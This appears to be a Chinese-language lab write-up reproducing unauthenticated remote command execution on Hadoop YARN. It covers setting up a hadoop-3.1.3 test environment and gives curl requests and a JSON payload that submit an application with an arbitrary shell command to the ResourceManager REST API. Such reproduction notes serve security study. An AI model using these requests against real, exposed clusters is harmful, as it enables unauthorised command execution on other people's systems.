Hadoop Yarn 未鉴权执行命令

安装

我用的是 hadoop-3.1.3 下载，解压。配置JDK环境变量和其他环境变量。

export JAVA_HOME=/home/hans/JDK/jdk1.8.0_192
export PATH=$JAVA_HOME/bin:$JAVA_HOME/jre/bin:$PATH
export HDFS_NAMENODE_USER="root"
export HDFS_DATANODE_USER="root"
export HDFS_SECONDARYNAMENODE_USER="root"
export YARN_RESOURCEMANAGER_USER="root"
export YARN_NODEMANAGER_USER="root"
export PDSH_RCMD_TYPE=ssh

配置

修改四个文件：
hadoop-3.1.3/etc/hadoop/core-site.xml

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="configuration.xsl"?>
<configuration>
    <property>
        <name>fs.defaultFS</name>
        <value>hdfs://localhost:9000</value>
    </property>
</configuration>

hadoop-3.1.3/etc/hadoop//hdfs-site.xml

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="configuration.xsl"?>
<configuration>
    <property>
        <name>dfs.replication</name>
        <value>1</value>
    </property>
</configuration>

hadoop-3.1.3/etc/hadoop/mapred-site.xml

<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="configuration.xsl"?>
<configuration> 
    <property>
        <name>mapreduce.framework.name</name>
        <value>yarn</value>
    </property>
    <property>
        <name>mapreduce.application.classpath</name>
        <value>$HADOOP_MAPRED_HOME/share/hadoop/mapreduce/*:$HADOOP_MAPRED_HOME/share/hadoop/mapreduce/lib/*</value>
    </property>
</configuration>

hadoop-3.1.3/etc/hadoop/yarn-site.xml

<?xml version="1.0"?>
<configuration>
    <property>
        <name>yarn.nodemanager.aux-services</name>
        <value>mapreduce_shuffle</value>
    </property>
    <property>
        <name>yarn.nodemanager.env-whitelist</name>
        <value>JAVA_HOME,HADOOP_COMMON_HOME,HADOOP_HDFS_HOME,HADOOP_CONF_DIR,CLASSPATH_PREPEND_DISTCACHE,HADOOP_YARN_HOME,HADOOP_MAPRED_HOME</value>
    </property>
</configuration>

启动

bin/hdfs namenode -format
sbin/start-yarn.sh

利用：

创建新的application

curl -v -X POST 'http://192.168.23.134:8088/ws/v1/cluster/apps/new-application'

创建并修改json文件。
1.json：

{  
    "am-container-spec":{  
        "commands":{  
            "command":"echo '111' > /tmp/11112222_test_11112222"

        }  
    },  
    "application-id":"application_1576573490143_0003",  
    "application-name":"test",  
    "application-type":"YARN"  
}

application-id 修改为创建新的application 返回的ID。

发送利用命令：

curl -s -i -X POST -H 'Accept: application/json' -H 'Content-Type: application/json' 'http://192.168.23.134:8088/ws/v1/cluster/apps' --data-binary @1.json

http://hadoop.apache.org/docs/current/hadoop-yarn/hadoop-yarn-site/ResourceManagerRest.html#Cluster_Applications_API

https://hadoop.apache.org/docs/r3.1.1/hadoop-project-dist/hadoop-common/HttpAuthentication.html

https://hadoop.apache.org/docs/r3.1.1/hadoop-project-dist/hadoop-common/SingleCluster.html

https://paper.seebug.org/611/